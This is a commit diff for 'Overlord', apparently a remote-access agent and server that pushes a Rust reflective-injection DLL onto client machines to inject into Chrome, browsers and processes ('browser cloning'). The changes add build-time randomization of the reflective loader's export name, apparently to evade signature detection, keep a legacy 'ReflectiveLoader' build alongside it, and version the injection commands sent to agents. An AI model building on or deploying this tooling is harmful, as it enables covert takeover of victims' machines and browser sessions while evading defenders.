add legacy mode and some cleanup

BackstageInjection-Rust/build.rs

@@ -31,16 +31,27 @@ fn main() {
 }
 
 fn generate_loader_entry() {
-    let seed = SystemTime::now()
+    let name = match std::env::var("BACKSTAGE_LOADER_EXPORT").ok().as_deref() {
+        Some("ReflectiveLoader") => "ReflectiveLoader".to_string(),
+        Some(value) => panic!("unsupported BACKSTAGE_LOADER_EXPORT value: {value}"),
+        None => {
+            let seed = std::env::var("BACKSTAGE_LOADER_SEED")
+                .ok()
+                .and_then(|value| value.parse::<u64>().ok())
+                .unwrap_or_else(|| {
+                    SystemTime::now()
                         .duration_since(UNIX_EPOCH)
                         .unwrap()
                         .as_nanos() as u64
-        ^ (std::process::id() as u64).wrapping_mul(0x9E37_79B9_7F4A_7C15);
+                        ^ (std::process::id() as u64).wrapping_mul(0x9E37_79B9_7F4A_7C15)
-    let name = format!("x{:06x}", seed & 0xFFFF_FF);
+                });
+            format!("x{:06x}", seed & 0xFFFF_FF)
+        }
+    };
 
     let src = format!(
         "// Generated by build.rs — do not edit.\n\
-         // Randomized per-build reflective loader export name.\n\
+         // Version-selected reflective loader export name.\n\
          pub(crate) const LOADER_EXPORT: &[u8] = b\"{name}\\0\";\n\
          \n\
          #[unsafe(no_mangle)]\n\
@@ -52,5 +63,6 @@ fn generate_loader_entry() {
     let out_dir = std::env::var("OUT_DIR").unwrap();
     std::fs::write(std::path::Path::new(&out_dir).join("loader_entry.rs"), src)
         .expect("failed to write loader_entry.rs");
-    println!("cargo:rerun-if-changed=loader_entry.rs");
+    println!("cargo:rerun-if-env-changed=BACKSTAGE_LOADER_EXPORT");
+    println!("cargo:rerun-if-env-changed=BACKSTAGE_LOADER_SEED");
 }

Overlord-Client/cmd/agent/capture/backstage_inject_windows_test.go

@@ -115,6 +115,19 @@ func TestGetProcessesLockingFileShortPathDoesNotPanic(t *testing.T) {
 	_ = getProcessesLockingFile("a")
 }
 
+func TestIsBackstageLoaderExportSupportsBothCommandVersions(t *testing.T) {
+	for _, name := range []string{"ReflectiveLoader", "x012abc", "xffffff"} {
+		if !isBackstageLoaderExport(name) {
+			t.Fatalf("expected loader export %q to be accepted", name)
+		}
+	}
+	for _, name := range []string{"reflectiveloader", "x012ABc", "x12345", "x1234567", "other"} {
+		if isBackstageLoaderExport(name) {
+			t.Fatalf("expected loader export %q to be rejected", name)
+		}
+	}
+}
+
 func testEnvironmentBlock(t *testing.T, entries ...string) []uint16 {
 	t.Helper()
 

Overlord-Client/cmd/agent/wire/wire_contract_generated.go

@@ -456,10 +456,10 @@ var CommandVersionSupport = map[CommandType]CommandVersionRange{
 	CommandBackstageSetQuality: {Min: 1, Max: 1},
 	CommandBackstageSetResolution: {Min: 1, Max: 1},
 	CommandBackstageStart: {Min: 1, Max: 1},
-	CommandBackstageStartBrowserInjected: {Min: 1, Max: 1},
+	CommandBackstageStartBrowserInjected: {Min: 1, Max: 2},
-	CommandBackstageStartChromeInjected: {Min: 1, Max: 1},
+	CommandBackstageStartChromeInjected: {Min: 1, Max: 2},
 	CommandBackstageStartProcess: {Min: 1, Max: 1},
-	CommandBackstageStartProcessInjected: {Min: 1, Max: 1},
+	CommandBackstageStartProcessInjected: {Min: 1, Max: 2},
 	CommandBackstageStop: {Min: 1, Max: 1},
 	CommandBackstageWindowList: {Min: 1, Max: 1},
 	CommandClientLogsRequest: {Min: 1, Max: 1},

Overlord-Client/cmd/agent/wire/wire_contract_test.go

@@ -17,14 +17,19 @@ func TestGeneratedWireContract(t *testing.T) {
 		if !ok {
 			t.Fatalf("missing version range for %s", command)
 		}
-		if versionRange.Min != 1 || versionRange.Max != 1 {
+		wantMax := 1
+		switch command {
+		case CommandBackstageStartBrowserInjected, CommandBackstageStartChromeInjected, CommandBackstageStartProcessInjected:
+			wantMax = 2
+		}
+		if versionRange.Min != 1 || versionRange.Max != wantMax {
 			t.Fatalf("unexpected version range for %s: %+v", command, versionRange)
 		}
 		if !IsSupportedCommandVersion(string(command), 1) {
 			t.Fatalf("%s must support v1", command)
 		}
-		if IsSupportedCommandVersion(string(command), 2) {
+		if IsSupportedCommandVersion(string(command), 2) != (wantMax == 2) {
-			t.Fatalf("%s must not support undeclared v2", command)
+			t.Fatalf("unexpected v2 support for %s", command)
 		}
 	}
 	if !IsCommandType("desktop_start") {

Overlord-Server/src/command-compatibility.test.ts

@@ -46,6 +46,27 @@ describe("command version negotiation", () => {
     });
   });
 
+  test("keeps legacy Backstage agents on v1 and negotiates v2 with new agents", () => {
+    const command = "backstage_start_browser_injected" as const;
+    const payload = { browser: "chrome", dll: new Uint8Array([1, 2, 3]) };
+
+    expect(versionCommandForClient({}, {
+      type: "command",
+      commandType: command,
+      id: "legacy-backstage",
+      payload,
+    })).toMatchObject({ commandVersion: 1, payload });
+
+    expect(versionCommandForClient({
+      commandVersions: { [command]: { min: 1, max: 2 } },
+    }, {
+      type: "command",
+      commandType: command,
+      id: "current-backstage",
+      payload,
+    })).toMatchObject({ commandVersion: 2, payload });
+  });
+
   test("strictly reports missing commands and non-overlapping versions", () => {
     expect(getCommandCompatibility(
       { commandVersions: {} },

Overlord-Server/src/generated/wire-contract.ts

@@ -377,11 +377,11 @@ export const COMMAND_VERSION_SUPPORT = {
   },
   "backstage_start_browser_injected": {
     "min": 1,
-    "max": 1
+    "max": 2
   },
   "backstage_start_chrome_injected": {
     "min": 1,
-    "max": 1
+    "max": 2
   },
   "backstage_start_process": {
     "min": 1,
@@ -389,7 +389,7 @@ export const COMMAND_VERSION_SUPPORT = {
   },
   "backstage_start_process_injected": {
     "min": 1,
-    "max": 1
+    "max": 2
   },
   "backstage_stop": {
     "min": 1,

Overlord-Server/src/protocol-contract.test.ts

@@ -26,13 +26,23 @@ describe("generated wire protocol contract", () => {
   });
 
   test("publishes a version range for every command", () => {
+    const versionedBackstageCommands = new Set([
+      "backstage_start_browser_injected",
+      "backstage_start_chrome_injected",
+      "backstage_start_process_injected",
+    ]);
     expect(Object.keys(COMMAND_VERSION_SUPPORT).length).toBe(COMMAND_TYPES.length);
     for (const command of COMMAND_TYPES) {
-      expect(COMMAND_VERSION_SUPPORT[command]).toEqual({ min: 1, max: 1 });
+      const isVersioned = versionedBackstageCommands.has(command);
+      expect(COMMAND_VERSION_SUPPORT[command]).toEqual({ min: 1, max: isVersioned ? 2 : 1 });
       expect(isSupportedCommandVersion(command, 1)).toBe(true);
-      expect(isSupportedCommandVersion(command, 2)).toBe(false);
+      expect(isSupportedCommandVersion(command, 2)).toBe(isVersioned);
+      if (isVersioned) {
+        expect(() => getImplicitCommandVersion(command)).toThrow("explicit commandVersion");
+      } else {
         expect(getImplicitCommandVersion(command)).toBe(1);
       }
+    }
   });
 
   test("drives the inbound client allowlist", () => {

Overlord-Server/src/server/backstage-dll-cache.test.ts

@@ -0,0 +1,13 @@
+import { describe, expect, test } from "bun:test";
+import {
+  BACKSTAGE_DLL_NAME,
+  BACKSTAGE_LEGACY_DLL_NAME,
+  injectionDllCandidates,
+} from "./backstage-dll-cache";
+
+describe("Backstage DLL command-version artifacts", () => {
+  test("maps v1 to the fixed-export artifact and v2 to the randomized artifact", () => {
+    expect(injectionDllCandidates(1).every((candidate) => candidate.endsWith(BACKSTAGE_LEGACY_DLL_NAME))).toBe(true);
+    expect(injectionDllCandidates(2).every((candidate) => candidate.endsWith(BACKSTAGE_DLL_NAME))).toBe(true);
+  });
+});

Overlord-Server/src/server/backstage-dll-cache.ts

@@ -5,66 +5,71 @@ import { logger } from "../logger";
 import { resolveRuntimeRoot } from "./runtime-paths";
 
 export const BACKSTAGE_DLL_NAME = "BackstageInjection.x64.dll";
+export const BACKSTAGE_LEGACY_DLL_NAME = "BackstageInjection.legacy.x64.dll";
 
 // Where a freshly rebuilt BackstageInjection DLL is placed. The data dir is
 // used so a re-randomized (rebuild) copy survives container restarts and is
 // preferred over the image-baked dist-clients copy. Overrideable for unusual
 // deployments.
-export function backstageDllOutputPath(): string {
+export function backstageDllOutputPath(commandVersion = 2): string {
   const explicit = process.env.OVERLORD_BACKSTAGE_DLL_PATH?.trim();
-  if (explicit) return path.resolve(explicit);
+  if (explicit) {
-  return path.join(ensureDataDir(), "dist-clients", BACKSTAGE_DLL_NAME);
+    const resolved = path.resolve(explicit);
+    return commandVersion === 1
+      ? path.join(path.dirname(resolved), BACKSTAGE_LEGACY_DLL_NAME)
+      : resolved;
+  }
+  const name = commandVersion === 1 ? BACKSTAGE_LEGACY_DLL_NAME : BACKSTAGE_DLL_NAME;
+  return path.join(ensureDataDir(), "dist-clients", name);
 }
 
-function builtinDllCandidates(): string[] {
+function builtinDllCandidates(commandVersion: number): string[] {
   const runtimeRoot = resolveRuntimeRoot();
+  const name = commandVersion === 1 ? BACKSTAGE_LEGACY_DLL_NAME : BACKSTAGE_DLL_NAME;
   return [
-    path.resolve(runtimeRoot, "dist-clients", BACKSTAGE_DLL_NAME),
+    path.resolve(runtimeRoot, "dist-clients", name),
-    path.resolve(process.cwd(), "dist-clients", BACKSTAGE_DLL_NAME),
+    path.resolve(process.cwd(), "dist-clients", name),
-    path.resolve(import.meta.dir, "../../dist-clients/BackstageInjection.x64.dll"),
+    path.resolve(import.meta.dir, "../../dist-clients", name),
   ];
 }
 
-export function injectionDllCandidates(): string[] {
+export function injectionDllCandidates(commandVersion = 2): string[] {
   // Fresh builds land in the data dir first; image-baked dist-clients copies
   // are the offline fallback.
-  return [backstageDllOutputPath(), ...builtinDllCandidates()];
+  return [backstageDllOutputPath(commandVersion), ...builtinDllCandidates(commandVersion)];
 }
 
-let _cachedInjectionDll: Uint8Array | null = null;
+type DllCacheEntry = { bytes: Uint8Array; path: string; mtimeMs: number };
-let _dllCachePath: string | null = null;
+const dllCache = new Map<number, DllCacheEntry>();
-let _dllCacheMtimeMs: number = 0;
 
 export function invalidateBackstageDll(): void {
-  _cachedInjectionDll = null;
+  dllCache.clear();
-  _dllCachePath = null;
-  _dllCacheMtimeMs = 0;
 }
 
-export function getInjectionDllBytes(): Uint8Array | null {
+export function getInjectionDllBytes(commandVersion = 2): Uint8Array | null {
-  const candidates = injectionDllCandidates();
+  const artifactVersion = commandVersion === 1 ? 1 : 2;
+  const candidates = injectionDllCandidates(artifactVersion);
+  const cached = dllCache.get(artifactVersion);
 
-  if (_dllCachePath) {
+  if (cached) {
     // If a freshly rebuilt DLL exists in the data dir but the cache points at
     // an older path, rescan instead of serving stale bytes.
-    const freshOutput = backstageDllOutputPath();
+    const freshOutput = backstageDllOutputPath(artifactVersion);
-    if (path.resolve(_dllCachePath) === path.resolve(freshOutput) || !existsSync(freshOutput)) {
+    if (path.resolve(cached.path) === path.resolve(freshOutput) || !existsSync(freshOutput)) {
       try {
-        const st = statSync(_dllCachePath);
+        const st = statSync(cached.path);
-        if (st.mtimeMs === _dllCacheMtimeMs && _cachedInjectionDll) {
+        if (st.mtimeMs === cached.mtimeMs) {
-          return _cachedInjectionDll;
+          return cached.bytes;
         }
-        _cachedInjectionDll = new Uint8Array(readFileSync(_dllCachePath));
+        const bytes = new Uint8Array(readFileSync(cached.path));
-        _dllCacheMtimeMs = st.mtimeMs;
+        dllCache.set(artifactVersion, { bytes, path: cached.path, mtimeMs: st.mtimeMs });
-        logger.info(`[backstage] reloaded injection DLL from ${_dllCachePath} (${_cachedInjectionDll.length} bytes)`);
+        logger.info(`[backstage] reloaded v${artifactVersion} injection DLL from ${cached.path} (${bytes.length} bytes)`);
-        return _cachedInjectionDll;
+        return bytes;
       } catch {
-        _dllCachePath = null;
+        dllCache.delete(artifactVersion);
-        _cachedInjectionDll = null;
       }
     } else {
-      _dllCachePath = null;
+      dllCache.delete(artifactVersion);
-      _cachedInjectionDll = null;
     }
   }
 
@@ -72,16 +77,15 @@ export function getInjectionDllBytes(): Uint8Array | null {
     if (!existsSync(dllPath)) continue;
     try {
       const st = statSync(dllPath);
-      _cachedInjectionDll = new Uint8Array(readFileSync(dllPath));
+      const bytes = new Uint8Array(readFileSync(dllPath));
-      _dllCachePath = dllPath;
+      dllCache.set(artifactVersion, { bytes, path: dllPath, mtimeMs: st.mtimeMs });
-      _dllCacheMtimeMs = st.mtimeMs;
+      logger.info(`[backstage] loaded v${artifactVersion} injection DLL from ${dllPath} (${bytes.length} bytes)`);
-      logger.info(`[backstage] loaded injection DLL from ${dllPath} (${_cachedInjectionDll.length} bytes)`);
+      return bytes;
-      return _cachedInjectionDll;
     } catch {
       continue;
     }
   }
 
-  logger.warn(`[backstage] injection DLL not found. Checked: ${candidates.join(", ")}`);
+  logger.warn(`[backstage] v${artifactVersion} injection DLL not found. Checked: ${candidates.join(", ")}`);
   return null;
 }

Overlord-Server/src/server/backstage-dll-manager.ts

@@ -6,6 +6,7 @@ import { ensureToolchain, getToolchainRoot } from "./toolchain-manager";
 import { resolveRuntimeRoot } from "./runtime-paths";
 import {
   BACKSTAGE_DLL_NAME,
+  BACKSTAGE_LEGACY_DLL_NAME,
   backstageDllOutputPath,
   invalidateBackstageDll,
 } from "./backstage-dll-cache";
@@ -169,7 +170,8 @@ export async function rebuildBackstageDll(
   _building = true;
   _lastBuild = { startedAt: Date.now(), finishedAt: null, ok: null, message: "Build started." };
 
-  const outPath = backstageDllOutputPath();
+  const outPath = backstageDllOutputPath(2);
+  const legacyOutPath = backstageDllOutputPath(1);
   const outDir = path.dirname(outPath);
 
   try {
@@ -205,19 +207,8 @@ export async function rebuildBackstageDll(
       fullEnv.PATH = [...binDirs, fullEnv.PATH || ""].filter(Boolean).join(path.delimiter);
     }
     Object.assign(fullEnv, env);
-
+    delete fullEnv.BACKSTAGE_LOADER_EXPORT;
-    const proc = Bun.spawn(
+    delete fullEnv.BACKSTAGE_LOADER_SEED;
-      [
-        "cargo",
-        "build",
-        "--release",
-        "--target",
-        RUST_TARGET,
-        "--manifest-path",
-        path.join(crateDir, "Cargo.toml"),
-      ],
-      { env: fullEnv, stdout: "pipe", stderr: "pipe" },
-    );
 
     const streamLines = async (stream: ReadableStream<Uint8Array> | null) => {
       if (!stream) return "";
@@ -234,22 +225,37 @@ export async function rebuildBackstageDll(
       return buf;
     };
 
+    const built = path.join(crateDir, "target", RUST_TARGET, "release", "BackstageInjection.dll");
+    const buildArtifact = async (loaderEnv: Record<string, string>, destination: string) => {
+      const proc = Bun.spawn(
+        [
+          "cargo",
+          "build",
+          "--release",
+          "--target",
+          RUST_TARGET,
+          "--manifest-path",
+          path.join(crateDir, "Cargo.toml"),
+        ],
+        { env: { ...fullEnv, ...loaderEnv }, stdout: "pipe", stderr: "pipe" },
+      );
       const [stdoutText, stderrText] = await Promise.all([
         streamLines(proc.stdout),
         streamLines(proc.stderr),
       ]);
       const exitCode = await proc.exited;
-
       if (exitCode !== 0) {
         const detail = stderrText.trim() || stdoutText.trim() || `cargo exit ${exitCode}`;
         throw new Error(`cargo build failed (exit ${exitCode}): ${detail}`);
       }
-
-    const built = path.join(crateDir, "target", RUST_TARGET, "release", "BackstageInjection.dll");
       if (!fs.existsSync(built)) {
         throw new Error(`Expected built DLL not found at ${built}`);
       }
-    fs.copyFileSync(built, outPath);
+      fs.copyFileSync(built, destination);
+    };
+
+    await buildArtifact({ BACKSTAGE_LOADER_SEED: String(Date.now()) }, outPath);
+    await buildArtifact({ BACKSTAGE_LOADER_EXPORT: "ReflectiveLoader" }, legacyOutPath);
 
     const exportName = readPeExportName(outPath);
     invalidateBackstageDll();
@@ -258,7 +264,7 @@ export async function rebuildBackstageDll(
       startedAt: _lastBuild.startedAt,
       finishedAt: Date.now(),
       ok: true,
-      message: `DLL rebuilt at ${outPath} (${fs.statSync(outPath).size} bytes, export: ${exportName ?? "unknown"}).`,
+      message: `DLLs rebuilt: ${BACKSTAGE_DLL_NAME} (${fs.statSync(outPath).size} bytes, export: ${exportName ?? "unknown"}) and ${BACKSTAGE_LEGACY_DLL_NAME} (${fs.statSync(legacyOutPath).size} bytes, export: ReflectiveLoader).`,
     };
     send({
       type: "output",

Overlord-Server/src/server/ws-console-rd-backstage.ts

@@ -5,6 +5,8 @@ import { logger } from "../logger";
 import { negotiateDesktopCodec } from "./desktop-codec-negotiation";
 import { metrics } from "../metrics";
 import { encodeMessage } from "../protocol";
+import { requireCommandVersion, versionCommandForClient } from "../command-compatibility";
+import type { CommandType } from "../generated/wire-contract";
 import { getInjectionDllBytes } from "./backstage-dll-cache";
 import * as sessionManager from "../sessions/sessionManager";
 import type { ConsoleSession, RemoteDesktopViewer, SocketData } from "../sessions/types";
@@ -32,6 +34,19 @@ import {
   stopRemoteDesktopRecording,
 } from "./rd-recording";
 
+function getVersionedInjectionDll(
+  target: ClientInfo | undefined,
+  commandType: CommandType,
+): Uint8Array | null {
+  if (!target) return null;
+  try {
+    return getInjectionDllBytes(requireCommandVersion(target, commandType));
+  } catch (error) {
+    logger.warn(`[backstage] cannot negotiate ${commandType}: ${error instanceof Error ? error.message : String(error)}`);
+    return null;
+  }
+}
+
 const VIEWER_BACKPRESSURE_BYTES = Math.max(
   64 * 1024,
   Number(process.env.OVERLORD_MEDIA_VIEWER_BACKPRESSURE_BYTES || 512 * 1024),
@@ -1343,7 +1358,7 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, ra
       sendbackstageCommand(target, "backstage_kill_all", {});
       break;
     case "backstage_start_process_injected": {
-      const dllData = getInjectionDllBytes();
+      const dllData = getVersionedInjectionDll(target, "backstage_start_process_injected");
       if (!dllData) {
         logger.warn("[backstage] injection DLL not available, cannot send backstage_start_process_injected");
         safeSendViewer(ws, { type: "backstage_error", error: "backstage injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
@@ -1361,7 +1376,7 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, ra
       break;
     }
     case "backstage_start_chrome_injected": {
-      const dllData = getInjectionDllBytes();
+      const dllData = getVersionedInjectionDll(target, "backstage_start_chrome_injected");
       if (!dllData) {
         logger.warn("[backstage] injection DLL not available, cannot send backstage_start_chrome_injected");
         safeSendViewer(ws, { type: "backstage_error", error: "backstage injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
@@ -1377,7 +1392,7 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, ra
       break;
     }
     case "backstage_start_browser_injected": {
-      const dllData = getInjectionDllBytes();
+      const dllData = getVersionedInjectionDll(target, "backstage_start_browser_injected");
       if (!dllData) {
         logger.warn("[backstage] injection DLL not available, cannot send backstage_start_browser_injected");
         safeSendViewer(ws, { type: "backstage_error", error: "backstage injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
@@ -1439,7 +1454,13 @@ export function sendbackstageCommand(target: ClientInfo | undefined, commandType
   }
   try {
     logger.debug(`[backstage] send command command=${commandType} client=${target.id} payload=${JSON.stringify(payload || {})}`);
-    target.ws.send(encodeMessage({ type: "command", commandType: commandType as any, id: uuidv4(), payload }));
+    const command = versionCommandForClient(target, {
+      type: "command",
+      commandType: commandType as CommandType,
+      id: uuidv4(),
+      payload,
+    });
+    target.ws.send(encodeMessage(command));
     metrics.recordCommand(commandType);
     return true;
   } catch (err) {

protocol/wire-contract.json

@@ -6,7 +6,38 @@
   "compatibility": "additive",
   "commandVersioning": {
     "defaultVersion": 1,
-    "overrides": {}
+    "overrides": {
+      "backstage_start_browser_injected": {
+        "latestVersion": 2,
+        "changes": {
+          "2": {
+            "breaking": true,
+            "summary": "Use a Backstage injection DLL with a randomized reflective-loader export",
+            "migration": "Keep the v1 payload fields unchanged but supply a DLL exporting ReflectiveLoader; v2 supplies the same payload with a DLL whose loader export is x followed by six lowercase hexadecimal digits"
+          }
+        }
+      },
+      "backstage_start_chrome_injected": {
+        "latestVersion": 2,
+        "changes": {
+          "2": {
+            "breaking": true,
+            "summary": "Use a Backstage injection DLL with a randomized reflective-loader export",
+            "migration": "Keep the v1 payload fields unchanged but supply a DLL exporting ReflectiveLoader; v2 supplies the same payload with a DLL whose loader export is x followed by six lowercase hexadecimal digits"
+          }
+        }
+      },
+      "backstage_start_process_injected": {
+        "latestVersion": 2,
+        "changes": {
+          "2": {
+            "breaking": true,
+            "summary": "Use a Backstage injection DLL with a randomized reflective-loader export",
+            "migration": "Keep the v1 payload fields unchanged but supply a DLL exporting ReflectiveLoader; v2 supplies the same payload with a DLL whose loader export is x followed by six lowercase hexadecimal digits"
+          }
+        }
+      }
+    }
   },
   "serverToAgentMessageTypes": [
     "enrollment_challenge",

scripts/build-backstage-dll.bat

@@ -13,6 +13,7 @@ set "CRATE_DIR=%ROOT%BackstageInjection-Rust"
 set "OUT_DIR=%ROOT%Overlord-Server\dist-clients"
 set "TARGET=x86_64-pc-windows-gnu"
 set "DLL_NAME=BackstageInjection.x64.dll"
+set "LEGACY_DLL_NAME=BackstageInjection.legacy.x64.dll"
 
 where cargo >nul 2>&1
 if %ERRORLEVEL% neq 0 (
@@ -22,7 +23,9 @@ if %ERRORLEVEL% neq 0 (
 
 if not exist "%OUT_DIR%" mkdir "%OUT_DIR%"
 
-echo Building BackstageInjection DLL for %TARGET% ...
+echo Building randomized BackstageInjection DLL for %TARGET% ...
+set "BACKSTAGE_LOADER_EXPORT="
+set "BACKSTAGE_LOADER_SEED=%RANDOM%%RANDOM%%RANDOM%"
 cargo build --release --target %TARGET% --manifest-path "%CRATE_DIR%\Cargo.toml"
 if %ERRORLEVEL% neq 0 goto :error
 
@@ -32,8 +35,17 @@ if not exist "%SRC_DLL%" goto :error
 copy /y "%SRC_DLL%" "%OUT_DIR%\%DLL_NAME%" >nul
 if %ERRORLEVEL% neq 0 goto :error
 
+echo Building legacy BackstageInjection DLL for %TARGET% ...
+set "BACKSTAGE_LOADER_SEED="
+set "BACKSTAGE_LOADER_EXPORT=ReflectiveLoader"
+cargo build --release --target %TARGET% --manifest-path "%CRATE_DIR%\Cargo.toml"
+if %ERRORLEVEL% neq 0 goto :error
+copy /y "%SRC_DLL%" "%OUT_DIR%\%LEGACY_DLL_NAME%" >nul
+if %ERRORLEVEL% neq 0 goto :error
+
 echo.
 echo Built: %OUT_DIR%\%DLL_NAME%
+echo Built: %OUT_DIR%\%LEGACY_DLL_NAME%
 exit /b 0
 
 :error

scripts/build-backstage-dll.sh

@@ -16,6 +16,7 @@ CRATE_DIR="${BACKSTAGE_CRATE_DIR:-BackstageInjection-Rust}"
 OUT_DIR="${BACKSTAGE_OUT_DIR:-Overlord-Server/dist-clients}"
 TARGET="x86_64-pc-windows-gnu"
 DLL_NAME="BackstageInjection.x64.dll"
+LEGACY_DLL_NAME="BackstageInjection.legacy.x64.dll"
 
 if ! command -v cargo >/dev/null 2>&1; then
   echo "ERROR: cargo not found. Install a Rust toolchain (rustup)."
@@ -36,7 +37,8 @@ fi
 
 mkdir -p "$OUT_DIR"
 
-echo "Building Rust BackstageInjection DLL ($TARGET) ..."
+echo "Building randomized Rust BackstageInjection DLL ($TARGET) ..."
+env -u BACKSTAGE_LOADER_EXPORT BACKSTAGE_LOADER_SEED="${BACKSTAGE_FRESH:-$(date +%s%N)}" \
   cargo build --release --target "$TARGET" --manifest-path "$CRATE_DIR/Cargo.toml"
 
 SRC_DLL="$CRATE_DIR/target/$TARGET/release/BackstageInjection.dll"
@@ -49,4 +51,11 @@ cp -f "$SRC_DLL" "$OUT_DIR/$DLL_NAME"
 echo "Built: $OUT_DIR/$DLL_NAME"
 ls -la "$OUT_DIR/$DLL_NAME"
 
+echo "Building legacy Rust BackstageInjection DLL ($TARGET) ..."
+BACKSTAGE_LOADER_EXPORT=ReflectiveLoader \
+  cargo build --release --target "$TARGET" --manifest-path "$CRATE_DIR/Cargo.toml"
+cp -f "$SRC_DLL" "$OUT_DIR/$LEGACY_DLL_NAME"
+echo "Built: $OUT_DIR/$LEGACY_DLL_NAME"
+ls -la "$OUT_DIR/$LEGACY_DLL_NAME"
+
 echo "Done."